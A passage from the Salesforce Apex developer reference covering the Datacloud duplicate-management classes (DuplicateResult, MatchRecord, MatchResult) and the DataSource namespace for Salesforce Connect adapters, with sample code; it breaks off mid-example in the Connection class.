public class ContactDedupeController {
// Initialize a variable to hold the contact record you're processing
private final Contact contact;
// Initialize a list to hold any duplicate records
1695
DuplicateResult ClassReference
private List<sObject> duplicateRecords;
// Define variable that’s true if there are duplicate records
public boolean hasDuplicateResult{get;set;}
// Define the constructor
public ContactDedupeController() {
// Define the values for the contact you’re processing based on its ID
Id id = ApexPages.currentPage().getParameters().get('id');
this.contact = (id == null)?new Contact() :
[SELECT Id, FirstName, LastName, Email, Phone, AccountId
FROM Contact WHERE Id = :id];
// Initialize empty list of potential duplicate records
this.duplicateRecords = new List<sObject>();
this.hasDuplicateResult = false;
}
// Return contact and its values to the Visualforce page for display
public Contact getContact() {
return this.contact;
}
// Return duplicate records to the Visualforce page for display
public List<sObject> getDuplicateRecords() {
return this.duplicateRecords;
}
// Process the saved record and handle any duplicates
public PageReference save() {
// Optionally, set DML options here, use “DML” instead of “false”
// in the insert()
// Database.DMLOptions dml = new Database.DMLOptions();
// dml.DuplicateRuleHeader.allowSave = true;
// dml.DuplicateRuleHeader.runAsCurrentUser = true;
Database.SaveResult saveResult = Database.insert(contact, false);
if (!saveResult.isSuccess()) {
for (Database.Error error : saveResult.getErrors()) {
// If there are duplicates, an error occurs
// Process only duplicates and not other errors
// (e.g., validation errors)
if (error instanceof Database.DuplicateError) {
// Handle the duplicate error by first casting it as a
// DuplicateError class
// This lets you use methods of that class
// (e.g., getDuplicateResult())
Database.DuplicateError duplicateError =
(Database.DuplicateError)error;
Datacloud.DuplicateResult duplicateResult =
duplicateError.getDuplicateResult();
1696
DuplicateResult ClassReference
// Display duplicate error message as defined in the duplicate rule
ApexPages.Message errorMessage = new ApexPages.Message(
ApexPages.Severity.ERROR, 'Duplicate Error: ' +
duplicateResult.getErrorMessage());
ApexPages.addMessage(errorMessage);
// Get duplicate records
this.duplicateRecords = new List<sObject>();
// Return only match results of matching rules that
// find duplicate records
Datacloud.MatchResult[] matchResults =
duplicateResult.getMatchResults();
// Just grab first match result (which contains the
// duplicate record found and other match info)
Datacloud.MatchResult matchResult = matchResults[0];
Datacloud.MatchRecord[] matchRecords = matchResult.getMatchRecords();
// Add matched record to the duplicate records variable
for (Datacloud.MatchRecord matchRecord : matchRecords) {
System.debug('MatchRecord: ' + matchRecord.getRecord());
this.duplicateRecords.add(matchRecord.getRecord());
}
this.hasDuplicateResult = !this.duplicateRecords.isEmpty();
}
}
//If there’s a duplicate record, stay on the page
return null;
}
// After save, navigate to the view page:
return (new ApexPages.StandardController(contact)).view();
}
}
IN THIS SECTION:
DuplicateResult Methods
SEE ALSO:
SaveResult Class
DuplicateError Class
DuplicateResult Methods
The following are methods for DuplicateResult.
1697
DuplicateResult ClassReference
IN THIS SECTION:
getDuplicateRule()
Returns the developer name of the executed duplicate rule that returned duplicate records.
getErrorMessage()
Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is
associated with a duplicate rule.
getMatchResults()
Returns the duplicate records and match information.
isAllowSave()
Indicates whether the duplicate rule will allow a record that’s identified as a duplicate to be saved. Set to true if duplicate rule
should allow save; otherwise, false.
getDuplicateRule()
Returns the developer name of the executed duplicate rule that returned duplicate records.
Signature
public String getDuplicateRule()
Return Value
Type: String
getErrorMessage()
Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is
associated with a duplicate rule.
Signature
public String getErrorMessage()
Return Value
Type: String
Example
This example shows the code used to display the error message when duplicates are found while saving a new contact. This code is part
of a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate records. Review
DuplicateResult Class on page 1694 to check out the entire sample applicaton.
ApexPages.Message errorMessage = new ApexPages.Message(
ApexPages.Severity.ERROR, 'Duplicate Error: ' +
duplicateResult.getErrorMessage());
ApexPages.addMessage(errorMessage);
1698
DuplicateResult ClassReference
getMatchResults()
Returns the duplicate records and match information.
Signature
public List<Datacloud.MatchResult> getMatchResults()
Return Value
Type: List<Datacloud.MatchResult>
Example
This example shows the code used to return duplicate record and match information and assign it to the matchResults variable.
This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class
on page 1694 to check out the entire sample applicaton.
Datacloud.MatchResult[] matchResults =
duplicateResult.getMatchResults();
isAllowSave()
Indicates whether the duplicate rule will allow a record that’s identified as a duplicate to be saved. Set to true if duplicate rule should
allow save; otherwise, false.
Signature
public Boolean isAllowSave()
Return Value
Type: Boolean
FieldDiff Class
Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.
Namespace
Datacloud
IN THIS SECTION:
FieldDiff Methods
FieldDiff Methods
The following are methods for FieldDiff.
1699
FieldDiff ClassReference
IN THIS SECTION:
getDifference()
Returns how the field values compare for the duplicate and its matching record.
getName()
Returns the name of a field on a matching rule that detected duplicates.
getDifference()
Returns how the field values compare for the duplicate and its matching record.
Signature
public String getDifference()
Return Value
Type: String
Possible values include:
•SAME: Indicates the field values match exactly.
•DIFFERENT: Indicates that the field values do not match.
•NULL: Indicates that the field values are a match because both values are blank.
getName()
Returns the name of a field on a matching rule that detected duplicates.
Signature
public String getName()
Return Value
Type: String
MatchRecord Class
Represents a duplicate record detected by a matching rule.
Namespace
Datacloud
IN THIS SECTION:
MatchRecord Methods
1700
MatchRecord ClassReference
MatchRecord Methods
The following are methods for MatchRecord.
IN THIS SECTION:
getAdditionalInformation()
Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B
fields in the matched record.
getFieldDiffs()
Returns all matching rule fields and how each field value compares for the duplicate and its matching record.
getMatchConfidence()
Returns the ranking of how similar a matched record’s data is to the data in your request. Must be equal to or greater than the value
of the minMatchConfidence specified in your request. Returns -1 if unused.
getRecord()
Returns the fields and field values for the duplicate.
getAdditionalInformation()
Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B fields
in the matched record.
Signature
public List<Datacloud.AdditionalInformationMap> getAdditionalInformation()
Return Value
Type: List<Datacloud.AdditionalInformationMap>
getFieldDiffs()
Returns all matching rule fields and how each field value compares for the duplicate and its matching record.
Signature
public List<Datacloud.FieldDiff> getFieldDiffs()
Return Value
Type: List<Datacloud.FieldDiff>
getMatchConfidence()
Returns the ranking of how similar a matched record’s data is to the data in your request. Must be equal to or greater than the value of
the minMatchConfidence specified in your request. Returns -1 if unused.
1701
MatchRecord ClassReference
Signature
public Double getMatchConfidence()
Return Value
Type: Double
getRecord()
Returns the fields and field values for the duplicate.
Signature
public SObject getRecord()
Return Value
Type: SObject
MatchResult Class
Represents the duplicate results for a matching rule.
Namespace
Datacloud
IN THIS SECTION:
MatchResult Methods
MatchResult Methods
The following are methods for MatchResult.
IN THIS SECTION:
getEntityType()
Returns the entity type of the matching rule.
getErrors()
Returns errors that occurred during matching for the matching rule.
getMatchEngine()
Returns the match engine for the matching rule.
getMatchRecords()
Returns information about the duplicates for the matching rule.
getRule()
Returns the developer name of the matching rule.
1702
MatchResult ClassReference
getSize()
Returns the number of duplicates detected by the matching rule.
isSuccess()
Returns false if there’s an error with the matching rule, and true if the matching rule successfully ran.
getEntityType()
Returns the entity type of the matching rule.
Signature
public String getEntityType()
Return Value
Type: String
getErrors()
Returns errors that occurred during matching for the matching rule.
Signature
public List<Database.Error> getErrors()
Return Value
Type: List<Database.Error>
getMatchEngine()
Returns the match engine for the matching rule.
Signature
public String getMatchEngine()
Return Value
Type: String
getMatchRecords()
Returns information about the duplicates for the matching rule.
Signature
public List<Datacloud.MatchRecord> getMatchRecords()
1703
MatchResult ClassReference
Return Value
Type: List<Datacloud.MatchRecord>
getRule()
Returns the developer name of the matching rule.
Signature
public String getRule()
Return Value
Type: String
getSize()
Returns the number of duplicates detected by the matching rule.
Signature
public Integer getSize()
Return Value
Type: Integer
isSuccess()
Returns false if there’s an error with the matching rule, and true if the matching rule successfully ran.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
DataSource Namespace
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop
a custom adapter for Salesforce Connect. Then connect your Salesforce organization to any data anywhere via the Salesforce Connect
custom adapter.
The following are the classes in the DataSource namespace.
1704
DataSource NamespaceReference
IN THIS SECTION:
AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote
deleteAsync operation is completed. This class provides the compensating transaction in the completion context of the delete
operation. Extend this class to define the actions to execute after the remote delete operation finishes execution.
AsyncSaveCallback Class
A callback class that the Database.insertAsync or Database.updateAsync method references. Salesforce calls this
class after the remote operation is completed. This class provides the compensating transaction in the completion context of the
insert or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes
execution.
AuthenticationCapability Enum
Specifies the types of authentication that can be used to access the external system.
AuthenticationProtocol Enum
Determines what type of credentials are used to authenticate to the external system.
Capability Enum
Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data
source definition.
Column Class
Describes a column on a DataSource.Table. This class extends the DataSourceUtil class and inherits its methods.
ColumnSelection Class
Identifies the list of columns to return during a query or search.
Connection Class
Extend this class to enable your Salesforce org to sync the external system’s schema and to handle queries, searches, and write
operations (upsert and delete) of the external data. This class extends the DataSourceUtil class and inherits its methods.
ConnectionParams Class
Contains the credentials for authenticating to the external system.
DataSourceUtil Class
Parent class for the DataSource.Provider, DataSource.Connection, DataSource.Table, and
DataSource.Column classes.
DataType Enum
Specifies the data types that are supported by the Apex Connector Framework.
DeleteContext Class
An instance of DeleteContext is passed to the deleteRows() method on your Database.Connection class. The
class provides context information about the delete request to the implementor of deleteRows().
DeleteResult Class
Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows
method of the DataSource.Connection class.
Filter Class
Represents a WHERE clause in a SOSL or SOQL query.
FilterType Enum
Referenced by the type property on a DataSource.Filter.
1705
DataSource NamespaceReference
IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.
Order Class
Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.
OrderDirection Enum
Specifies the direction for sorting rows based on column values.
Provider Class
Extend this base class to create a custom adapter for Salesforce Connect. The class informs Salesforce of the functional and
authentication capabilities that are supported by or required to connect to the external system. This class extends the
DataSourceUtil class and inherits its methods.
QueryAggregation Enum
Specifies how to aggregate a column in a query.
QueryContext Class
An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance
corresponds to a SOQL request.
QueryUtils Class
Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your
convenience during early development and tests, but it isn’t supported for use in production environments.
ReadContext Class
Abstract base class for the QueryContext and SearchContext classes.
SearchContext Class
An instance of SearchContext is provided to the search method on your DataSource.Connection class. The instance
corresponds to a search or SOSL request.
SearchUtils Class
Helper class for implementing search on a custom adapter for Salesforce Connect.
Table Class
Describes a table on an external system that the Salesforce Connect custom adapter connects to. This class extends the
DataSourceUtil class and inherits its methods.
TableResult Class
Contains the results of a search or query.
TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the
query.
UpsertContext Class
An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class.
This class provides context information about the upsert request to the implementor of upsertRows().
UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of
the DataSource.Connection class.
DataSource Exceptions
The DataSource namespace contains exception classes.
1706
DataSource NamespaceReference
AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote deleteAsync
operation is completed. This class provides the compensating transaction in the completion context of the delete operation. Extend this
class to define the actions to execute after the remote delete operation finishes execution.
Namespace
DataSource
IN THIS SECTION:
AsyncDeleteCallback Methods
AsyncDeleteCallback Methods
The following are methods for AsyncDeleteCallback.
IN THIS SECTION:
processDelete(deleteResult)
Override this method to define actions that Salesforce executes after a remote Database.deleteAsync operation is completed.
For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the
Salesforce org..
processDelete(deleteResult)
Override this method to define actions that Salesforce executes after a remote Database.deleteAsync operation is completed.
For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the Salesforce
org..
Signature
public void processDelete(Database.DeleteResult deleteResult)
Parameters
deleteResult
Type: Database.DeleteResult
The result of the asynchronous delete operation.
Return Value
Type: void
1707
AsyncDeleteCallback ClassReference
AsyncSaveCallback Class
A callback class that the Database.insertAsync or Database.updateAsync method references. Salesforce calls this
class after the remote operation is completed. This class provides the compensating transaction in the completion context of the insert
or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes execution.
Namespace
DataSource
IN THIS SECTION:
AsyncSaveCallback Methods
AsyncSaveCallback Methods
The following are methods for AsyncSaveCallback.
IN THIS SECTION:
processSave(saveResult)
Override this method to define actions that Salesforce executes after the remote Database.insertAsync or
Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update
custom object data or other data that's stored in the Salesforce org.
processSave(saveResult)
Override this method to define actions that Salesforce executes after the remote Database.insertAsync or
Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update
custom object data or other data that's stored in the Salesforce org.
Signature
public void processSave(Database.SaveResult saveResult)
Parameters
saveResult
Type: Database.SaveResult
The result of the asynchronous insert or update operation.
Return Value
Type: void
AuthenticationCapability Enum
Specifies the types of authentication that can be used to access the external system.
1708
AsyncSaveCallback ClassReference
Usage
The DataSource.Provider class returns DataSource.AuthenticationCapability enum values. The returned
values determine which authentication settings are available on the external data source definition in Salesforce.
If you set up callouts in your DataSource.Connection class, you can specify the callout endpoints as named credentials instead
of URLs. If you do so for all callouts, return ANONYMOUS as the sole entry in the list of data source authentication capabilities. That way,
the external data source definition doesn’t require authentication settings. Salesforce manages all authentication for Apex callouts that
specify a named credential as the callout endpoint so that your code doesn’t have to.
Enum Values
The following are the values of the DataSource.AuthenticationCapability enum.
DescriptionValue
No credentials are required to authenticate to the external system.ANONYMOUS
A username and password can be used to authenticate to the external system.BASIC
A security certificate can be supplied when establishing each connection to the
external system.
CERTIFICATE
OAuth can be used to authenticate to the external system.OAUTH
AuthenticationProtocol Enum
Determines what type of credentials are used to authenticate to the external system.
Enum Values
The following are the values of the DataSource.AuthenticationProtocol enum.
DescriptionValue
No credentials are used to authenticate to the external system.NONE
OAuth 2.0 is used to authenticate to the external system.OAUTH
A username and password are used to authenticate to the external system.PASSWORD
Capability Enum
Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data source
definition.
Usage
The DataSource.Provider class returns DataSource.Capability enum values, which:
•Specify the functional capabilities of the external system.
1709
AuthenticationProtocol EnumReference
•Determine which endpoint settings are available on the external data source definition in Salesforce.
Enum Values
The following are the values of the DataSource.Capability enum.
DescriptionValue
With server-driven paging, the external system determines the page sizes and batch
boundaries. The external system’s paging settings can optimize the external system’s
QUERY_PAGINATION_SERVER_DRIVEN
performance and improve the load times for external objects in your org. Also, the
external data set can change while your users or the Force.com platform are paging
through the result set. Typically, server-driven paging adjusts batch boundaries to
accommodate changing data sets more effectively than client-driven paging.
If you enable server-driven paging on an external data source, Salesforce ignores
the requested page sizes, including the default queryMore() batch size of 500
rows. The pages returned by the external system determine the batches. Also, the
Apex code must generate a query token and use it to determine and fetch the next
batch of results.
The external system can provide the total number of rows that meet the query
criteria, even when requested to return a smaller batch size. This capability enables
you to simplify how you paginate results by using queryMore().
QUERY_TOTAL_SIZE
Requires the administrator to specify the endpoint in the URL field in the external
data source definition.
REQUIRE_ENDPOINT
Requires the endpoint URL to use secure HTTP. If REQUIRE_ENDPOINT isn’t
declared, REQUIRE_HTTPS is ignored.
REQUIRE_HTTPS
Allows creating of external data.ROW_CREATE
Allows deleting external data.ROW_DELETE
Allows API and SOQL queries of the external data. Also allows reports on the external
objects.
ROW_QUERY
Allows updating external data.ROW_UPDATE
Allows SOSL and Salesforce searches of the external data.
When the custom adapter declares the SEARCH capability, you can control which
external objects are searchable by selecting or deselecting Allow Search on
SEARCH
each external object. However, syncing always overwrites the external object’s
search status to match the search status of the external data source.
Only text, text area, and long text area fields on external objects can be searched.
If an external object has no searchable fields, searches on that object return no
records.
SEE ALSO:
Salesforce Help: Validate and Sync an External Data Source
1710
Capability EnumReference
Column Class
Describes a column on a DataSource.Table. This class extends the DataSourceUtil class and inherits its methods.
Namespace
DataSource
Usage
A list of column metadata is provided by the DataSource.Connection class when the sync() method is invoked. Each column
can become a field on an external object.
The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the column metadata doesn’t
automatically update the stored metadata in Salesforce.
IN THIS SECTION:
Column Properties
Column Methods
Column Properties
The following are properties for Column.
IN THIS SECTION:
decimalPlaces
If the data type is numeric, the number of decimal places to the right of the decimal point.
description
Description of what the column represents.
filterable
Whether a result set can be filtered based on the values of the column.
label
User-friendly name for the column that appears in the Salesforce user interface.
length
If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number
of digits on both sides of the decimal point, but excluding the decimal point.
name
Name of the column in the external system.
referenceTargetField
API name of the custom field on the parent object whose values are compared against this column’s values. Matching values identify
related records in an indirect lookup relationship. Applies only when the column’s data type is INDIRECT_LOOKUP_TYPE. For
other data types, this value is ignored.
1711
Column ClassReference
referenceTo
API name of the parent object in the relationship that’s represented by this column. Applies only when the column’s data type is
LOOKUP_TYPE, EXTERNAL_LOOKUP_TYPE, or INDIRECT_LOOKUP_TYPE. For other data types, this value is ignored.
sortable
Whether a result set can be sorted based on the values of the column via an ORDER BY clause.
type
Data type of the column.
decimalPlaces
If the data type is numeric, the number of decimal places to the right of the decimal point.
Signature
public Integer decimalPlaces {get; set;}
Property Value
Type: Integer
description
Description of what the column represents.
Signature
public String description {get; set;}
Property Value
Type: String
filterable
Whether a result set can be filtered based on the values of the column.
Signature
public Boolean filterable {get; set;}
Property Value
Type: Boolean
label
User-friendly name for the column that appears in the Salesforce user interface.
1712
Column ClassReference
Signature
public String label {get; set;}
Property Value
Type: String
length
If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number of
digits on both sides of the decimal point, but excluding the decimal point.
Signature
public Integer length {get; set;}
Property Value
Type: Integer
name
Name of the column in the external system.
Signature
public String name {get; set;}
Property Value
Type: String
referenceTargetField
API name of the custom field on the parent object whose values are compared against this column’s values. Matching values identify
related records in an indirect lookup relationship. Applies only when the column’s data type is INDIRECT_LOOKUP_TYPE. For other
data types, this value is ignored.
Signature
public String referenceTargetField {get; set;}
Property Value
Type: String
referenceTo
API name of the parent object in the relationship that’s represented by this column. Applies only when the column’s data type is
LOOKUP_TYPE, EXTERNAL_LOOKUP_TYPE, or INDIRECT_LOOKUP_TYPE. For other data types, this value is ignored.
1713
Column ClassReference
Signature
public String referenceTo {get; set;}
Property Value
Type: String
sortable
Whether a result set can be sorted based on the values of the column via an ORDER BY clause.
Signature
public Boolean sortable {get; set;}
Property Value
Type: Boolean
type
Data type of the column.
Signature
public DataSource.DataType type {get; set;}
Property Value
Type: DataSource.DataType
Column Methods
The following are methods for Column.
IN THIS SECTION:
boolean(name)
Returns a new column of data type BOOLEAN_TYPE.
externalLookup(name, domain)
Returns a new column of data type EXTERNAL_LOOKUP_TYPE.
get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces, referenceTo, referenceTargetField)
Returns a new column with the ten specified Column property values.
get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces)
Returns a new column with the eight specified Column property values.
get(name, label, description, isSortable, isFilterable, type, length)
Returns a new column with the seven specified Column property values.
1714
Column ClassReference
indirectLookup(name, domain, targetField)
Returns a new column of data type INDIRECT_LOOKUP_TYPE.
integer(name, length)
Returns a new numeric column with no decimal places using the specified name and length.
lookup(name, domain)
Returns a new column of data type LOOKUP_TYPE.
number(name, length, decimalPlaces)
Returns a new column of data type NUMBER_TYPE.
text(name, label, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name, label, and
length.
text(name, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.
text(name)
Returns a new column of data type STRING_SHORT_TYPE with the specified name and the length of 255 characters.
textarea(name)
Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.
url(name, length)
Returns a new column of data type URL_TYPE with the specified name and length.
url(name)
Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.
boolean(name)
Returns a new column of data type BOOLEAN_TYPE.
Signature
public static DataSource.Column boolean(String name)
Parameters
name
Type: String
Name of the column.
Return Value
Type: DataSource.Column
externalLookup(name, domain)
Returns a new column of data type EXTERNAL_LOOKUP_TYPE.
1715
Column ClassReference
Signature
public static DataSource.Column externalLookup(String name, String domain)
Parameters
name
Type: String
Name of the column.
domain
Type: String
API name of the parent object in the external lookup relationship.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
namedescription
trueisSortable
trueisFilterable
DataSource.DataType.EXTERNAL_LOOKUP_TYPEtype
255length
0decimalPlaces
domainreferenceTo
nullreferenceTargetField
get(name, label, description, isSortable, isFilterable, type, length,
decimalPlaces, referenceTo, referenceTargetField)
Returns a new column with the ten specified Column property values.
Signature
public static DataSource.Column get(String name, String label, String description,
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length,
Integer decimalPlaces, String referenceTo, String referenceTargetField)
1716
Column ClassReference
Parameters
See Column Properties on page 1711 for information about each parameter.
name
Type: String
label
Type: String
description
Type: String
isSortable
Type: Boolean
isFilterable
Type: Boolean
type
Type: DataSource.DataType
length
Type: Integer
decimalPlaces
Type: Integer
referenceTo
Type: String
referenceTargetField
Type: String
Return Value
Type: DataSource.Column
get(name, label, description, isSortable, isFilterable, type, length,
decimalPlaces)
Returns a new column with the eight specified Column property values.
Signature
public static DataSource.Column get(String name, String label, String description,
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length,
Integer decimalPlaces)
Parameters
See Column Properties on page 1711 for information about each parameter.
name
Type: String
label
Type: String
1717
Column ClassReference
description
Type: String
isSortable
Type: Boolean
isFilterable
Type: Boolean
type
Type: DataSource.DataType
length
Type: Integer
decimalPlaces
Type: Integer
Return Value
Type: DataSource.Column
get(name, label, description, isSortable, isFilterable, type, length)
Returns a new column with the seven specified Column property values.
Signature
public static DataSource.Column get(String name, String label, String description,
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length)
Parameters
See Column Properties on page 1711 for information about each parameter.
name
Type: String
label
Type: String
description
Type: String
isSortable
Type: Boolean
isFilterable
Type: Boolean
type
Type: DataSource.DataType
length
Type: Integer
1718
Column ClassReference
Return Value
Type: DataSource.Column
indirectLookup(name, domain, targetField)
Returns a new column of data type INDIRECT_LOOKUP_TYPE.
Signature
public static DataSource.Column indirectLookup(String name, String domain, String
targetField)
Parameters
name
Type: String
Name of the column.
domain
Type: String
API name of the parent object in the indirect lookup relationship.
targetField
Type: String
API name of the custom field on the parent object whose values are compared against this column’s values. Matching values identify
related records in an indirect lookup relationship.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
namedescription
trueisSortable
trueisFilterable
DataSource.DataType.INDIRECT_LOOKUP_TYPEtype
255length
0decimalPlaces
domainreferenceTo
targetFieldreferenceTargetField
1719
Column ClassReference
integer(name, length)
Returns a new numeric column with no decimal places using the specified name and length.
Signature
public static DataSource.Column integer(String name, Integer length)
Parameters
name
Type: String
The column name.
length
Type: Integer
The column length.
Return Value
Type: DataSource.Column
lookup(name, domain)
Returns a new column of data type LOOKUP_TYPE.
Signature
public static DataSource.Column lookup(String name, String domain)
Parameters
name
Type: String
Name of the column.
domain
Type: String
API name of the parent object in the lookup relationship.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
1720
Column ClassReference
ValueProperty
namedescription
trueisSortable
trueisFilterable
DataSource.DataType.LOOKUP_TYPEtype
255length
0decimalPlaces
domainreferenceTo
nullreferenceTargetField
number(name, length, decimalPlaces)
Returns a new column of data type NUMBER_TYPE.
Signature
public static DataSource.Column number(String name, Integer length, Integer
decimalPlaces)
Parameters
See Column Properties on page 1711 for information about each parameter.
name
Type: String
length
Type: Integer
decimalPlaces
Type: Integer
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
namedescription
trueisSortable
trueisFilterable
1721
Column ClassReference
ValueProperty
DataSource.DataType.NUMBER_TYPEtype
lengthlength
decimalPlacesdecimalPlaces
text(name, label, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name, label, and length.
Signature
public static DataSource.Column text(String name, String label, Integer length)
Parameters
name
Type: String
Name of the column.
label
Type: String
User-friendly name for the column that appears in the Salesforce user interface.
length
Type: Integer
Number of characters allowed in the column.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
labellabel
labeldescription
trueisSortable
trueisFilterable
DataSource.DataType.STRING_SHORT_TYPE if length is 255 or less
DataSource.DataType.STRING_LONG_TYPE if length is greater than 255
type
lengthlength
0decimalPlaces
1722
Column ClassReference
text(name, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.
Signature
public static DataSource.Column text(String name, Integer length)
Parameters
name
Type: String
Name of the column.
length
Type: Integer
Number of characters allowed in the column.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
namedescription
trueisSortable
trueisFilterable
DataSource.DataType.STRING_SHORT_TYPE if length is 255 or
less
DataSource.DataType.STRING_LONG_TYPE if length is greater
than 255
type
lengthlength
0decimalPlaces
text(name)
Returns a new column of data type STRING_SHORT_TYPE with the specified name and the length of 255 characters.
Signature
public static DataSource.Column text(String name)
1723
Column ClassReference
Parameters
name
Type: String
Name of the column.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
namedescription
trueisSortable
trueisFilterable
DataSource.DataType.STRING_SHORT_TYPEtype
255length
0decimalPlaces
textarea(name)
Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.
Signature
public static DataSource.Column textarea(String name)
Parameters
name
Type: String
Name of the column.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
1724
Column ClassReference
ValueProperty
namedescription
trueisSortable
trueisFilterable
DataSource.DataType.STRING_LONG_TYPEtype
32000length
0decimalPlaces
url(name, length)
Returns a new column of data type URL_TYPE with the specified name and length.
Signature
public static DataSource.Column url(String name, Integer length)
Parameters
name
Type: String
Name of the column.
length
Type: Integer
Number of characters allowed in the column.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
namedescription
trueisSortable
trueisFilterable
DataSource.DataType.URL_TYPEtype
lengthlength
0decimalPlaces
1725
Column ClassReference
url(name)
Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.
Signature
public static DataSource.Column url(String name)
Parameters
name
Type: String
Name of the column.
Return Value
Type: DataSource.Column
The returned column has these property values.
ValueProperty
namename
namelabel
namedescription
trueisSortable
trueisFilterable
DataSource.DataType.URL_TYPEtype
1000length
0decimalPlaces
ColumnSelection Class
Identifies the list of columns to return during a query or search.
Namespace
DataSource Namespace
Usage
This class is associated with the SELECT clause for a SOQL query, or the RETURNING clause for a SOSL query.
IN THIS SECTION:
ColumnSelection Properties
1726
ColumnSelection ClassReference
ColumnSelection Properties
The following are properties for ColumnSelection.
IN THIS SECTION:
aggregation
How to aggregate the column’s data.
columnName
Name of the selected column.
tableName
Name of the column’s table.
aggregation
How to aggregate the column’s data.
Signature
public DataSource.QueryAggregation aggregation {get; set;}
Property Value
Type: DataSource.QueryAggregation
columnName
Name of the selected column.
Signature
public String columnName {get; set;}
Property Value
Type: String
tableName
Name of the column’s table.
Signature
public String tableName {get; set;}
Property Value
Type: String
1727
ColumnSelection ClassReference
Connection Class
Extend this class to enable your Salesforce org to sync the external system’s schema and to handle queries, searches, and write operations
(upsert and delete) of the external data. This class extends the DataSourceUtil class and inherits its methods.
Namespace
DataSource
Usage
Your DataSource.Connection and DataSource.Provider classes compose a custom adapter for Salesforce Connect.
Changing the sync method on the DataSource.Connection class doesn’t automatically resync any external objects.
Example
global class SampleDataSourceConnection extends DataSource.Connection {
global SampleDataSourceConnection(DataSource.ConnectionParams connectionParams) {
}
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables = new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('Name', 255));
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
tables.add(DataSource.Table.get('Sample','Title', columns));
return tables;
}
override global DataSource.TableResult query(DataSource.QueryContext c) {
return DataSource.TableResult.get(c, DataSource.QueryUtils.process(c, getRows()));
}
override global List<DataSource.TableResult> search(DataSource.SearchContext c) {
List<DataSource.TableResult> results = new List<DataSource.TableResult>();
for (DataSource.TableSelection tableSelection : c.tableSelections) {
results.add(DataSource.TableResult.get(tableSelection, getRows()));
}
return results;
}
// Helper method to get record values from the external system for the Sample table.
private List<Map<String,Object>> getRows () {
// Get row field values for the Sample table from the external system via a callout.
HttpResponse response = makeGetCallout();
// Parse the JSON response and populate the rows.
Map<String,Object> m = (Map<String,Object>)JSON.deserializeUntyped(
1728
Connection ClassReference
response.getBody());
Map<String,Object> error = (Map<String,Object>)m.get('error');
if (error != null) {
throwException(string.valueOf(error.get('message')));
}
List<Map<String,Object>> rows = new List<Map<String,Object>>();
List<Object> jsonRows = (List<Object>)m.get('value');
if (jsonRows == null) {
rows.add(foundRow(m));
}else {
for (Object jsonRow : jsonRows) {
Map<String,Object> row = (Map<String,Object>)jsonRow;
rows.add(foundRow(row));
}
}
return rows;
}
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext
context) {
if (context.tableSelected == 'Sample') {
List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
List<Map<String,Object>> rows = context.rows;
for (Map<String,Object> row : rows){
// Make a callout to insert or update records in the external system.
HttpResponse response;
// Determine whether to insert or update a record.
if (row.get('ExternalId') == null){
// Send a POST HTTP request to insert new external record.
